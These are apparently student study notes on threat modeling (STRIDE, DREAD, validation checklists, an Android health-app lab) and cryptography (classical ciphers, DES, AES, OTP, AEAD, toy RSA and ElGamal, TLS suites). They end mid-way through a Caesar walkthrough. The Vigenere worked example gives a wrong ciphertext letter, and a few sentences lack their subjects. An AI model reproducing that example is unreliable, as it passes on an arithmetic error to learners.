STRIDE threat	Mitigation technology	Developer-side examples	Operations-side examples
Spoofing	Authentication	Digital signatures, directory-backed identity, explicit service identity.	Passwords, MFA, cryptographic tunnels, account controls.
Tampering	Integrity and permissions	Digital signatures, integrity checks, validated updates.	ACLs, permissions, cryptographic tunnels, file monitoring.
Repudiation	Fraud prevention, logging, signatures	Customer-history and risk-management records, auditable event design.	Centralized logging, protected retention, analysis.
Information disclosure	Permissions and encryption	Local authorization, safe data handling, encrypted protocols such as TLS.	Encrypted tunnels, secrets management, access review.
Denial of service	Availability controls	Elastic design, bounded workloads, graceful degradation.	Load balancing, more capacity, quotas, monitoring, response plans.
Elevation of privilege	Authorization and isolation	Roles, privileges, purpose-specific input validation, sandboxing.	Sandboxing, firewalls, least privilege, hardened configuration.

Accuracy note: Fuzzing and fault injection help discover defects but are testing techniques, not mitigations by themselves. A discovered defect still needs a design, implementation, or operational response.

9. Threat prioritization

Threat models often contain more issues than a team can fix immediately. Prioritization determines what should be addressed first. The available options include several approaches: wait and see, easy fixes first, bug-bar severity ranking, cost or damage estimation, DREAD scoring, and an impact-versus-likelihood matrix. Each method has limitations; use a consistent method and document assumptions.

Approach	Benefit	Risk or limitation
Wait and see	May avoid effort on low-value speculative issues.	Can leave known exposure unmanaged; should be an explicit acceptance decision with monitoring and review.
Easy fixes first	Removes low-cost problems quickly.	Can delay high-impact work that is difficult but urgent.
Bug bar	Uses defined severity thresholds in a tracker.	Thresholds must be clear and consistent; labels do not replace analysis.
Cost or damage estimation	Connects work to business consequences.	Estimates may be uncertain, especially for low-frequency high-impact events.
DREAD	Prompts scoring across five dimensions.	Scores are subjective unless scales and evidence are defined consistently.
Impact-likelihood matrix	Provides an intuitive risk view and visual priority grouping.	Likelihood and impact categories can oversimplify; record rationale and uncertainty.

9.1 DREAD

Letter	Dimension	Question
D	Damage potential	How serious is the consequence if the threat succeeds?
R	Reproducibility	How reliably can the attack be repeated?
E	Exploitability	How difficult is exploitation and what access, skill, or resources are needed?
A	Affected users	How many users, systems, or business functions are affected?
D	Discoverability	How likely is an attacker to notice or learn about the weakness?

This illustrates a three-point damage scale: 3 points for high impact such as administrator execution, 2 points for medium impact such as revealing sensitive data, and 1 point for low impact such as revealing data. The remaining READ dimensions receive similarly defined scores. Scores are summed or averaged for comparison. The numerical result is a decision aid, not an objective truth.

9.2 Impact-versus-likelihood matrix

Another approach defines impact categories such as minor, moderate, and severe and likelihood categories such as unlikely, possible, and likely. Threats are plotted into a matrix. Items in the high-impact and likely area usually deserve urgent attention, while lower-risk items may be scheduled, monitored, transferred, or accepted. A matrix adapted from a Google Android security-assessment example illustrates this method.

Prioritization rule: Never hide uncertainty behind a number or color. Record the scenario, affected assets, assumptions, evidence, chosen response, owner, and review point.

10. Validation and continuous updating

10.1 Validate both the model and the controls

Validation is quality assurance for threat modeling. Two things must be checked: the threat model itself and whether the identified threats have actually been addressed. A model can look complete while controls are missing, or controls can exist while the model no longer matches reality.

Validation target	Questions and their practical meaning
Expertise	Have all relevant people contributed: developers, operators, security staff, architects, product owners, and domain experts?
Completeness	Does the model include all important components, data stores, flows, external entities, boundaries, assumptions, and dependencies?
Accuracy	Does the diagram match the deployed or planned system, not an outdated mental model?
Security decisions	Are major design and operational decisions represented and explained?

Validation target	Questions and their practical meaning
Versioning	Can reviewers identify the current model version and understand what changed?
Threat coverage	Has every relevant model element been checked against STRIDE, attack trees, and other applicable libraries?
Tracking	Does each real threat have a record in the issue tracker with owner, risk, response, and status?

10.2 Update the diagram when discussion reveals missing detail

Walk through the diagram again. Focus on data flow, while remembering that every transition indicates processing. Vague phrases often signal missing detail. If explaining the diagram requires adding information that is not visible, update the model. If reviewers debate what happens at a boundary, the diagram may be incomplete. A data-flow model should not contain unexplained dead ends.

10.3 Confirm every threat is addressed

For each threat, document	Reason
Risk and scenario	Explains what could happen, where, and why it matters.
Chosen strategy	Records whether the team mitigates, eliminates, transfers, or accepts the risk.
Control implementation	Identifies concrete design, code, configuration, process, or supplier changes.
Verification test	Shows how the control will be tested during development, deployment, or operations.
Owner and status	Prevents threats from becoming unowned observations.
Monitoring and review trigger	Keeps residual risk visible as systems and attack patterns change.

10.4 Threat modeling is a lifecycle process

No analysis covers every angle. Systems evolve, dependencies change, configurations drift, and attackers develop new patterns. Continue the model after deployment: review major design changes, new integrations, operational incidents, new vulnerabilities, and changing assumptions. Feed lessons from tests, incidents, monitoring, and user behavior back into the model.

11. Rapid open-book reference

11.1 Four-step workflow

Step	Minimal concise explanation
1. Model system	Create an abstraction of processes, data stores, data flows, external entities, dependencies, trust boundaries, and relevant state transitions.
2. Find threats	Use STRIDE, attack libraries, attack trees, scenario thinking, and expertise to search systematically.
3. Address threats	Mitigate, eliminate, transfer, or explicitly accept each threat; record controls, owner, and residual risk.
4. Validate	Review model completeness and accuracy, confirm every threat has a tracked response, test controls, and update continuously.

11.2 High-value distinctions

Do not confuse	Correct distinction
Threat modeling vs vulnerability scanning	Threat modeling reasons about predictable attack paths and design assumptions. Vulnerability scanning searches for detectable weaknesses in a target environment. They complement each other.
Threat vs vulnerability	A threat is a possible harmful event or scenario. A vulnerability is a weakness that may enable harm.
Authentication vs authorization	Authentication establishes identity. Authorization decides what that identity may do.
Mitigation vs elimination	Mitigation reduces risk while keeping the feature. Elimination removes the risky functionality or path.
Encryption vs complete security	Encryption can protect content, but it does not automatically protect identity, endpoints, metadata, usability, recovery, or operational safety.
Model validation vs control validation	The model must match reality, and the chosen controls must actually be implemented and tested.

11.3 Threat-model review checklist

- Identify processes, stores, flows, external entities, dependencies, trust boundaries, and security-state transitions.

- Walk every relevant model element through STRIDE.
- Use attack libraries and attack trees to challenge personal blind spots.
- Record assumptions, including identity, network, dependency, and operational assumptions.
- Prioritize with a documented method and state uncertainty.
- Choose mitigate, eliminate, transfer, or accept for every tracked threat.
- Attach a verification test, owner, and status to each threat.
- Update diagrams when architecture, configuration, dependencies, or incidents change.

Concise summary: Threat modeling turns security from improvised reaction into structured engineering. Model reality, search systematically, make explicit risk decisions, verify both the model and its controls, and keep the process alive throughout the system lifecycle.

Lab 8: Threat Modeling - Android Health App Example

Be ready to reproduce a DFD + STRIDE table fast. Lab system = Android health app: user logs in (username/password), manually enters/edits/deletes health data, all data stored locally on the device.

Components: User -> Authentication process -> Health-data management process -> Local storage.

Sensitive asset: Local storage (health data at rest on the device).

Headline threats (STRIDE):

- **Spoofing:** Weak/no authentication
- **Information disclosure:** Data at rest unencrypted + device theft
- **Tampering:** Tampering with local data
- **Repudiation:** No logs of data changes

Method: Draw DFD with trust boundaries -> apply STRIDE per element -> rank (DREAD / impact x likelihood) -> mitigate (mitigate / eliminate / transfer / accept).

CYBERSECURITY

Chapter 09: Cryptography

Technical knowledge notes

Classical substitution ciphers, symmetric encryption, DES, AES, one-time pads, public-key encryption, textbook RSA, textbook ElGamal, standardization, and implementation lessons

Core idea: Cryptography protects data by transforming it under precisely defined algorithms and keys. Correct algorithm choice is necessary but not sufficient: key management, randomness, nonces, modes of operation, padding, authentication, implementation quality, and protocol design determine whether a real system is secure.

Main distinction: Symmetric encryption uses a shared secret key. Public-key encryption uses a published public key and a corresponding secret key. Real systems usually combine both: public-key techniques establish or protect a session key, while efficient symmetric cryptography protects the bulk data.

Accuracy rule: Encryption alone is primarily a confidentiality mechanism. Integrity and authenticity require an authenticated-encryption construction, a message authentication code, or a digital signature, depending on the use case.

1. Cryptography: purpose, scope, and categories

1.1 What cryptography contributes

Cryptography operates at the data level. It enables secure communication over an untrusted channel by making protected data unintelligible or unverifiable to unauthorized parties. Cryptographic mechanisms can support confidentiality, integrity, authenticity, and non-repudiation, but different mechanisms provide different properties. A design must state exactly which property is required.

Security property	Meaning	Typical cryptographic mechanism	Important limit
Confidentiality	Unauthorized parties should not learn protected content.	Encryption with securely managed keys.	Ciphertext can still expose metadata such as timing, size, and communication relationships.
Integrity	Unauthorized changes should be detectable.	Authenticated encryption or a message authentication code (MAC).	Plain encryption does not automatically prove that data was not modified.
Authenticity	A receiver should be able to verify the origin of data or possession of a key.	MACs for parties sharing a secret; digital signatures for public verification.	Authenticity does not automatically imply that the sender intended every possible interpretation of a message.
Non-repudiation	A signer should not be able to plausibly deny a valid signature under the relevant rules.	Digital signatures plus identity, certificate, process, and evidence controls.	Operational and legal context still matters.

1.2 Symmetric-key and public-key cryptography

Aspect	Symmetric-key encryption (SKE)	Public-key encryption (PKE)
Keys	The communicating parties share a secret key. Depending on the construction, the same secret or closely related secret material is used for encryption and decryption.	An encryptor uses a published public key; the decryptor uses the corresponding secret key.
Strength	Efficient and suitable for large amounts of data.	Solves important key-distribution problems but is usually slower and used for limited data or for protecting session keys.
Examples	DES, AES, one-time pad, ChaCha20-Poly1305; historical ciphers as conceptual predecessors.	RSA and ElGamal. also names digital signatures, elliptic-curve cryptography, and post-quantum cryptography as broader public-key topics.
Main challenge	Safely share, store, rotate, and revoke secret keys; use modes and nonces correctly.	Generate strong key pairs, authenticate public keys, use standardized padding or encodings, and protect secret keys.

Hybrid systems: Modern protocols such as TLS normally use public-key techniques to authenticate endpoints and establish shared secrets, then use symmetric authenticated encryption for data. This combines manageable key establishment with high throughput.

1.3 From classical to modern cryptography

Classical cryptography often manipulated letters using substitution rules. Modern cryptography works with bits and bytes, uses mathematical security models, is designed and analyzed scientifically, and is developed largely in the open. The field intersects with mathematics, theoretical computer science, software engineering, and hardware engineering. It is practiced in academia, industry, and intelligence services and continues to develop new applications.

2. Historical substitution ciphers

This uses classical ciphers to illustrate a core idea: plaintext symbols are transformed according to a rule and a key. These systems are historically important but should not be used to protect modern systems. Their structure leaks too much information and their key spaces are too small or too predictable.

2.1 Caesar cipher

The Caesar cipher is a monoalphabetic substitution cipher. Each plaintext letter is shifted by the same fixed amount. This uses a left shift of 3: the normal alphabet ABC...XYZ is mapped to XYZABC...W. Under this mapping, the plaintext CRYPTOGRAPHY IS FUN becomes ZOVMQLDOXMEV FP CRK.

Item	Explanation
Key	A shift amount in the range 1 to 25. A shift of 0 leaves the plaintext unchanged.
Encryption rule	For alphabet positions represented as integers modulo 26, a shift cipher can be written as C = (P - k) mod 26 for this left-shift convention.
Decryption rule	Reverse the shift: P = (C + k) mod 26 for this convention.
Weakness	The key space is tiny. An analyst can try every possible shift, and language patterns remain visible.

2.2 Vigenere cipher

The Vigenere cipher is a polyalphabetic substitution cipher. Instead of shifting every position by one fixed value, it repeats a keyword and uses a different shift for each position. chooses the key CAFE and repeats it under the plaintext. For CRYPTOGRAPHY, the repeated key is CAFECAFECAFE, producing ERDTVOKVCPMC. The full Example is CRYPTOGRAPHY IS FUN -> ERDTVOKVCPMC KS KUP.

Position	Plaintext	Key letter	Interpretation
1	C	C	Use the row or shift associated with C to transform plaintext C into ciphertext E.
2	R	A	A corresponds to a zero shift, so R remains R.
3	Y	F	The F shift transforms Y into D modulo 26.
4	P	E	The E shift transforms P into T.

Why it is stronger than Caesar: A repeated keyword distributes substitutions across multiple alphabets, making simple single-frequency analysis less direct. It remains breakable because the key repeats and language patterns can reveal the repetition period and shifts.

2.3 Enigma

The Enigma machine was an electromechanical cipher system used prominently during the Second World War. Its effective key depended on machine configuration, including rotor choices, rotor positions, and plugboard wiring. As rotors moved during typing, the substitution changed dynamically. This makes Enigma a polyalphabetic substitution system rather than a single fixed mapping.

Enigma is historically associated with Alan Turing and the film The Imitation Game. The security lesson is broader: a complex algorithm can still fail through structural weaknesses, operational mistakes, predictable procedures, captured materials, and cryptanalysis. Security depends on the entire system, not only the machine.

2.4 Substitution-cipher classification

Cipher	Classification	Core rule	Why it is insufficient today
Caesar	Monoalphabetic substitution	One fixed alphabet mapping is used for every character.	Tiny key space and preserved language frequencies.
Vigenere	Polyalphabetic substitution	A repeating keyword selects among multiple shifts.	Repeated-key structure can be analyzed; modern computation makes attacks practical.
Enigma	Polyalphabetic substitution using an electromechanical state machine	Rotor state and plugboard configuration change the mapping during use.	Systemic weaknesses and operational practices enabled cryptanalysis; it is obsolete for modern security.

3. Symmetric block ciphers: DES and AES

3.1 DES: structure and parameters

DES, the Data Encryption Standard, is a historical symmetric block cipher. It accepts a 64-bit input block and produces a 64-bit output block. Its nominal key is 64 bits, but 8 bits are used as parity bits, leaving an effective key size of 56 bits. DES applies 16 Feistel rounds. In each round, a Feistel function uses substitution, permutation, and related operations to mix the data.

DES element	Meaning
64-bit block size	DES processes data in fixed-size 64-bit blocks. A block cipher must be used with an appropriate mode when protecting messages longer than one block.
56-bit effective key	The key space is too small for modern use. Exhaustive key search is feasible with specialized hardware.
16 Feistel rounds	The Feistel construction repeatedly transforms and mixes halves of the block. Feistel structure allows decryption using the same general round structure with reversed round-key order.
Substitution and permutation	Nonlinear substitutions and bit rearrangements spread input influence across the output. Good diffusion and confusion are central design goals.

3.2 Why DES is obsolete

The available options include important cryptanalytic developments: differential cryptanalysis was rediscovered publicly by Eli Biham and Adi Shamir in the late 1980s; IBM and the NSA already knew about the attack class and had kept relevant knowledge secret. Mitsuru Matsui introduced linear cryptanalysis in 1994. A variant requiring less data was presented by Lars Knudsen and Mathiassen in 2000. Independently of those analytical techniques, the short 56-bit key is already a decisive weakness.

Conclusion: DES should not be used for new systems. Its effective key length is too short, and it is a historical teaching example rather than an acceptable modern data-protection choice.

3.3 AES: structure and parameters

AES, the Advanced Encryption Standard, is the modern standardized block cipher selected from the Rijndael design by Joan Daemen and Vincent Rijmen. AES always uses 128-bit blocks. The key length can be 128, 192, or 256 bits. The number of rounds depends on the key size: AES-128 uses 10 rounds, AES-192 uses 12 rounds, and AES-256 uses 14 rounds. Important point: AES-128 and its 10 rounds.

AES property	Explanation
Block size	128 bits for AES-128, AES-192, and AES-256. The number in the name identifies key size, not block size.
Key sizes	128, 192, or 256 bits. Strong key generation and secure storage are essential.
Round operations	AES repeatedly applies byte substitution, row shifting, column mixing, and round-key addition. The design provides nonlinear transformation and diffusion.
Cryptanalysis resistance	AES was designed to resist known analytical methods such as differential and linear cryptanalysis.
Current position	No practical attack is known that breaks properly implemented AES with strong keys. Real failures more often arise from bad modes, nonce reuse, weak randomness, side channels, exposed keys, or protocol mistakes.

AES is not a complete protocol: Saying that data is protected with AES is incomplete. A secure design must also state the mode or authenticated-encryption scheme, nonce handling, key derivation, key rotation, error behavior, and how integrity is verified.

4. One-time pads and modern symmetric encryption

4.1 One-time pad (OTP)

A one-time pad encrypts plaintext by combining it with a truly random secret key using XOR. If the key is uniformly random, at least as long as the message, kept secret, and never reused, the ciphertext provides perfect secrecy: observing the ciphertext alone reveals no information about which plaintext of that length was encrypted. This is information-theoretic security, not merely computational difficulty.

Example	Value
Plaintext	1001011...0001011
Key	1100010...0101110
Operation	Bitwise XOR: equal bits produce 0; different bits produce 1.
Ciphertext	0101001...0100101

4.2 OTP conditions and operational difficulty

Condition	Why it is necessary	What goes wrong if violated
Random key	Every possible plaintext must remain plausible after observing the ciphertext.	Predictable keys allow statistical or structural attacks.
Key length at least equal to message length	Each protected bit needs fresh secret material.	A shorter repeating key creates exploitable structure.
Key used only once	Freshness prevents relationships between messages from leaking.	If the same pad encrypts two messages, C1 XOR C2 = P1 XOR P2. The key cancels out, exposing a relationship between plaintexts.
Secure key distribution and storage	Both parties must already possess the same secret without exposing it.	The confidentiality problem is merely moved to key transport and protection.

One-time-pad ideas were used for the Moscow-Washington hotline in the 1960s, and related masking ideas reappear in multi-party computation. The practical problem is key distribution: once two parties securely share sufficient truly random material, OTP protection is extremely strong, but securely supplying and managing that material is difficult.

4.3 ChaCha20-Poly1305 and authenticated encryption

Examples include ChaCha20-Poly1305 as a modern scheme used in Internet protocols such as TLS/HTTPS, VPNs, SSH, and mobile networks. ChaCha20 is a stream cipher; Poly1305 is an authenticator. Together they form an authenticated-encryption construction: data is encrypted and modifications are detectable.

Concept	Meaning
Encryption	Protects confidentiality by making the plaintext unreadable without the key.
Authentication tag	Allows the receiver to detect unauthorized modification and reject invalid ciphertext.
Nonce	A per-message value that must be used according to the construction rules. Reusing a nonce with the same key can be catastrophic.
AEAD	Authenticated Encryption with Associated Data: protects encrypted content and can authenticate selected unencrypted metadata such as headers.

Design rule: For ordinary application data, prefer a well-reviewed authenticated-encryption scheme rather than combining raw encryption and integrity mechanisms ad hoc.

5. Public-key cryptography

5.1 Public and secret keys

Public-key encryption uses a key pair. The public key may be distributed widely and used by anyone to encrypt data for the key owner. Only the holder of the corresponding secret key should be able to decrypt it. This illustrates this with a padlock: anyone can close the open padlock, but only the owner of the secret key can unlock it.

Public-key authenticity: Publishing a public key is not enough. A user must know whose key it is. Certificates, trusted directories, pinned keys, fingerprints, or authenticated out-of-band verification connect a public key to an identity.

5.2 Other public-key topics

Topic	Purpose and significance
Digital signatures	A signer uses a secret signing key; verifiers use the public verification key. Signatures support integrity, origin authentication, and evidence of signing. A digital signature is not the same thing as encryption.
Elliptic-curve cryptography (ECC)	Uses mathematical groups based on elliptic curves. ECC can provide strong security with smaller key sizes than traditional finite-field or RSA systems when standardized curves and implementations are used.
Post-quantum cryptography	Studies schemes intended to resist attacks from large quantum computers. Migration planning matters because some current public-key systems would be threatened by sufficiently capable quantum computing.

5.3 Public-key encryption in real protocols

Public-key encryption is usually not applied directly to an entire large file or network stream. Instead, a protocol normally uses public-key techniques to authenticate, exchange, or encapsulate a short random session key. Symmetric authenticated encryption then protects bulk data efficiently. This also makes rekeying and session separation easier.

6. Textbook RSA

6.1 Background

RSA was introduced in 1977 by Ron Rivest, Adi Shamir, and Leonard Adleman. The inventors received the ACM Turing Award in 2002. Shamir is also associated with Shamir secret sharing, which connects to multi-party computation.

6.2 RSA toy key generation

This uses very small primes so that every calculation can be followed manually. These values are intentionally insecure and exist only to explain the algebra.

Step	Calculation	Result	Meaning
1	Choose two primes p = 11 and q = 13.	p = 11, q = 13	The secret factorization is the basis for generating the key pair.
2	Compute n = p * q.	n = 143	The modulus n appears in both the public and secret keys.
3	Compute phi(n) = (p - 1)(q - 1).	phi(n) = 10 * 12 = 120	Euler's totient is used in the modular-inverse relationship.
4	Choose public exponent e under the required rule: gcd(e, phi(n)) = 1.	e = 7	The public exponent must be invertible modulo phi(n).
5	Find d such that e * d = 1 mod phi(n).	d = 103 because 7 * 103 = 721 = 1 mod 120	d is the modular inverse of e modulo phi(n).
6	Publish (n, e); keep d secret.	Public key (143, 7); secret key (143, 103)	The secret key can be written as (n, d). Real implementations securely retain additional parameters too.

6.3 RSA toy encryption and decryption

Action	Formula	Values	Result
Encrypt plaintext integer m	c = m^e mod n	c = 9^7 mod 143	c = 48
Send ciphertext	Transmit c to the decryptor.	Send 48	The ciphertext can cross an untrusted channel.
Decrypt ciphertext c	m = c^d mod n	m = 48^103 mod 143	m = 9

The decryption relationship follows from modular arithmetic and the chosen inverse relationship e * d = 1 mod phi(n). The example illustrates the mechanism, not a secure deployment recipe.

6.4 Real-world RSA

Key point	Expanded explanation
Large primes are required.	Real RSA keys use large randomly generated primes. Security is related to the difficulty of factoring the public modulus n = p * q. Toy values such as 11 and 13 are instantly factorable.
A common key size is 2048 bits.	RSA-2048 is a widely used baseline. Required size depends on policy, security lifetime, and application. Key size alone does not make a construction safe.
Textbook RSA is insecure.	Raw modular exponentiation is deterministic and vulnerable to multiple attacks. Encryption must use an approved padding or encoding construction such as RSA-OAEP. Signatures use a signature scheme such as RSA-PSS. Do not invent padding.
Hash functions are used in secure constructions.	Hashes contribute to standardized encodings, signatures, key derivation, transcript binding, and integrity mechanisms, depending on the protocol.

Important RSA distinction: Textbook RSA explains the mathematics. Production RSA requires standardized padding, validated libraries, secure randomness, strong key generation, protected private keys, and protocol-level authentication.

7. Textbook ElGamal encryption

7.1 Main idea

ElGamal is a public-key encryption scheme built from arithmetic in a multiplicative group modulo a prime. Its security is connected to the difficulty of the discrete logarithm problem in the chosen group. Unlike textbook RSA, ElGamal encryption is randomized: encrypting the same plaintext more than once should produce different ciphertexts because fresh randomness is used.

7.2 ElGamal toy key generation

Step	Calculation	Result	Meaning
1	Choose prime p.	p = 23	Arithmetic is performed modulo 23.
2	Choose generator g of the multiplicative group.	g = 5	Powers of g provide the group structure used by the scheme.
3	Choose secret key x.	x = 6	x must remain secret.
4	Compute h = g^x mod p.	h = 5^6 mod 23 = 8	h is published while x remains hidden.
5	Publish (p, g, h).	Public key (23, 5, 8); secret key x = 6	The encryptor needs the public key; only the decryptor needs x.

7.3 ElGamal toy encryption

Step	Calculation	Result
Choose fresh random value k.	k = 7	Randomness must be fresh for each encryption.
Compute c1.	c1 = g^k mod p = 5^7 mod 23	c1 = 17
Compute c2.	c2 = m * h^k mod p = 9 * 8^7 mod 23	c2 = 16
Ciphertext	Send the pair (c1, c2).	(17, 16)

7.4 ElGamal toy decryption

Step	Calculation	Result
Recover shared group value.	s = c1^x mod p = 17^6 mod 23	s = 12
Find modular inverse.	s^(-1) mod 23	12^(-1) = 2 mod 23 because 12 * 2 = 24 = 1 mod 23
Recover plaintext.	m = c2 * s^(-1) mod p = 16 * 2 mod 23	m = 9

The reason decryption works is that h^k = (g^x)^k = g^(xk), while c1^x = (g^k)^x = g^(kx). These are the same group value. Multiplying c2 by its inverse removes the mask and reveals m.

7.5 Real-world cautions

Issue	Why it matters
Toy parameters	Small p = 23 is useful for arithmetic demonstrations but cryptographically useless. Real deployments require carefully selected standardized groups or other standardized constructions.
Randomness k	Fresh, unpredictable randomness is essential. Reuse or exposure of ephemeral randomness can reveal relationships between ciphertexts and undermine security.
Textbook malleability	Textbook ElGamal is malleable and does not provide chosen-ciphertext security or integrity by itself. Production systems use standardized, authenticated constructions.
Public-key authentication	The encryptor must verify that the public key belongs to the intended recipient. Otherwise an attacker can substitute a key.

8. Standardization and cryptographic review

8.1 Why standardization matters

Popular cryptographic schemes are standardized by organizations such as NIST through FIPS publications and by standards bodies such as ANSI. Standardization supports interoperability, public review, testing, consistent parameter choices, and implementation guidance. It also gives system designers a common vocabulary and a defined security target.

8.2 AES selection process

AES competition fact	Explanation
15 submitted designs	The selection process evaluated multiple candidate block-cipher designs.
5 finalists	A smaller group of candidates received deeper analysis.
Rijndael selected	The Rijndael design by Daemen and Rijmen became AES.
Serpent runner-up	identifies Serpent, designed by Ross Anderson, Eli Biham, and Lars Knudsen, as the runner-up.
FIPS PUB 197	AES was standardized in FIPS PUB 197. This includes the approval as occurring in 2002; FIPS PUB 197 was originally issued in 2001 and became the defining AES standard.

8.3 EAXprime: standardization is not proof of security

This includes EAX' (EAXprime) as a cautionary example. It was standardized in ANSI C12.22 for transport of electricity-meter data over a network. In 2012, Minematsu, Lucks, Morita, and Iwata reported a break and warned against use of the vulnerable protocol. The lesson is not that standards are useless. The lesson is that standardization, implementation, review, and cryptanalysis are continuous processes.

8.4 CMAC

CMAC, associated with Iwata and standardized in NIST SP 800-38B in 2005, is a cipher-based message authentication code. It verifies message integrity and authenticity when parties share a secret key. It is used in lower-power devices and wireless protocols such as Wi-Fi and Bluetooth.

Mechanism	Primary role	What it does not automatically provide
AES block cipher	Transforms fixed-size blocks under a symmetric key.	A complete secure messaging protocol, nonce handling, or integrity by itself.
CMAC	Authenticates a message and detects modification under a shared secret key.	Confidentiality. A plaintext message can be authenticated without being encrypted.
Authenticated encryption such as ChaCha20-Poly1305	Provides confidentiality and integrity together when used correctly.	Identity verification unless keys are properly authenticated and bound to endpoints.

Standards lesson: Use current, well-reviewed standardized constructions and validated libraries. Stay prepared to migrate when analysis reveals weaknesses. A standard is a review and interoperability milestone, not a permanent guarantee.

9. High-value comparisons

9.1 Cipher and scheme comparison

Scheme	Type	Key or parameter idea	Security status and use
Caesar	Classical monoalphabetic substitution	One alphabet shift.	Historical only; trivially breakable.
Vigenere	Classical polyalphabetic substitution	Repeating keyword selects shifts.	Historical only; repeated structure is breakable.
Enigma	Electromechanical polyalphabetic substitution	Rotor and plugboard configuration with changing state.	Historical only; important systemic-security case study.
DES	Symmetric block cipher	64-bit blocks; 56-bit effective key; 16 Feistel rounds.	Obsolete; key size too small.
AES	Symmetric block cipher	128-bit blocks; 128/192/256-bit keys; 10/12/14 rounds.	Modern core primitive when used in a secure construction.
One-time pad	Symmetric XOR masking	Random secret at least as long as plaintext and used once.	Perfect secrecy if every condition is satisfied; operationally difficult.
ChaCha20-Poly1305	Symmetric authenticated encryption	Stream cipher plus authenticator; nonce-based.	Modern AEAD construction used in widely deployed protocols.
RSA	Public-key encryption/signature family	Modular exponentiation; security related to factoring hardness.	Textbook RSA insecure; use standardized OAEP or PSS constructions as appropriate.
ElGamal	Randomized public-key encryption	Discrete-log-style group operations with fresh k.	Textbook scheme is instructive but requires standardized secure constructions for production.

9.2 Encryption, MACs, and digital signatures

Mechanism	Who holds which key?	Primary guarantee	Typical verification model
Symmetric encryption	Authorized parties share a secret encryption key.	Confidentiality.	A party with the secret can decrypt.
MAC, such as CMAC	Authorized parties share a secret MAC key.	Integrity and authenticity among secret-sharing parties.	A party with the secret can generate and verify tags.
Digital signature	Signer holds a secret signing key; others use the public verification key.	Integrity, signer authentication, and evidence of signing.	Anyone with the authentic public key can verify.
Authenticated encryption	Authorized parties share a secret key and follow nonce rules.	Confidentiality plus integrity for protected data.	The receiver decrypts only after successful authentication verification.

9.3 Frequent common pitfalls

Incorrect statement	Correct interpretation
“AES-256 has a 256-bit block size.”	AES always has a 128-bit block size. AES-256 means a 256-bit key and 14 rounds.
“Encryption guarantees integrity.”	Raw encryption mainly protects confidentiality. Use authenticated encryption, a MAC, or a signature to detect modification.
“A public key can be trusted because it is public.”	Public availability does not prove identity. The key must be authenticated and bound to the intended party.
“OTP is weak because XOR is simple.”	OTP is perfectly secret when the pad is random, secret, message-length, and never reused. The difficulty is operational key management.
“RSA mathematics alone is enough.”	Textbook RSA is insecure. Production encryption and signatures need standardized constructions, protected keys, and secure implementation.
“A standardized protocol can never be broken.”	Standardization improves review and interoperability but does not eliminate the possibility of design flaws, implementation flaws, or later cryptanalysis.

10. Rapid reference

10.1 Symmetric-encryption checklist

- State the security goal: confidentiality alone, or confidentiality plus integrity and authenticity.
- Name the complete construction, not only the primitive. “AES” alone is incomplete; identify the mode or AEAD scheme.
- Explain key generation, storage, rotation, revocation, and access control.
- Explain nonce or IV requirements and what happens if values repeat.
- Use authentication tags and reject invalid ciphertext before processing unauthenticated data.
- Consider metadata leakage, side channels, error handling, backup exposure, and endpoint compromise.

10.2 Public-key checklist

- Verify the recipient public key through certificates, trusted directories, fingerprints, or another authenticated mechanism.
- Protect private keys against theft, misuse, and unauthorized export.
- Use standardized constructions: for example, RSA-OAEP for RSA encryption and RSA-PSS for RSA signatures where appropriate.
- Use secure randomness and approved parameters. Never reuse ElGamal-style ephemeral randomness.
- Use hybrid encryption for bulk data: establish or encapsulate a session key, then use symmetric AEAD.

10.3 RSA toy example in one table

Item	Value
Primes	p = 11, q = 13
Modulus	n = p * q = 143
Totient	phi(n) = (p - 1)(q - 1) = 120
Public exponent	e = 7
Private exponent	d = 103 because e * d = 1 mod 120
Public key	(n, e) = (143, 7)
Secret key	(n, d) = (143, 103)
Encrypt m = 9	c = 9^7 mod 143 = 48
Decrypt c = 48	m = 48^103 mod 143 = 9

10.4 ElGamal toy example in one table

Item	Value
Public parameters	p = 23, g = 5
Secret key	x = 6
Public value	h = g^x mod p = 5^6 mod 23 = 8
Public key	(p, g, h) = (23, 5, 8)
Encrypt m = 9 with fresh k = 7	c1 = 5^7 mod 23 = 17; c2 = 9 * 8^7 mod 23 = 16
Decrypt	s = 17^6 mod 23 = 12; s^(-1) = 2 mod 23; m = 16 * 2 mod 23 = 9

Final mental model: Cryptography is a system discipline. A strong algorithm can be defeated by wrong key handling, unauthenticated public keys, reused nonces, reused pads, unsafe padding, weak randomness, implementation bugs, or missing integrity protection. Always analyze the entire construction and deployment context.

Lab 9: Cryptography - Practical Details

Reading a TLS cipher suite

Decode TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:

Part	Role
ECDHE	Key exchange - Elliptic-Curve Diffie-Hellman Ephemeral; gives forward secrecy
RSA	Authentication / certificate signature
AES_128_GCM	Symmetric AEAD cipher that encrypts the traffic
SHA256	Hash used within the suite

TLS 1.3 suites drop kx/auth fields: TLS_AES_128_GCM_SHA256, TLS_CHACHA20_POLY1305_SHA256. GitHub example: TLS 1.3 + 1.2 only; RSA-4096 cert, SHA256withRSA; SSL Labs A+.

Diffie-Hellman / key exchange

DH lets two parties agree a shared secret over an open channel without sending it. **ECDHE** = elliptic-curve ephemeral variant: a fresh key per session gives **forward secrecy** (past traffic stays safe even if long-term key leaks). It is key exchange, not encryption.

Classical cipher + brute-force method

Caesar by hand: try shifts until plaintext appears. Substitution cipher: break by frequency analysis.
Brute-force key-space math (80-bit key at 2^{30} keys/s): $2^{80} / 2^{30} = 2^{50}$ seconds ~ 1.13×10^{15} s ~ 35.7 million years. Optimistic estimate; specialised hardware is faster.

RSA / ElGamal reminder

Drill the modular-inverse step: find d with $e*d = 1 \pmod{\phi(n)}$, and decrypt inverse $s^{-1} \bmod p$ in ElGamal. Make RSA secure with randomized padding (**RSA-OAEP**); never use textbook RSA.

How to Do the Crypto Calculations (Step by Step)

This section walks you through every cipher from the lecture like a recipe. No math background needed. Just follow the steps, plug in the numbers, and you'll get the right answer.

1. Caesar Cipher — the simplest one

Think of the alphabet as a circle. You pick a number (the key), and you slide every letter that many spots to the left. That's it. That's the whole cipher.

How to ENCRYPT:

Let's encrypt the word CRYPTOGRAPHY with key = 3.

1. Write out the normal alphabet:

```
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
```

2. Now slide every letter 3 spots to the LEFT. A becomes X, B becomes Y, C becomes Z, D becomes A, and so on:

```
A->X B->Y C->Z D->A E->B F->C G->D H->E I->F J->G
K->H L->I M->J N->K O->L P->M Q->N R->O S->P T->Q
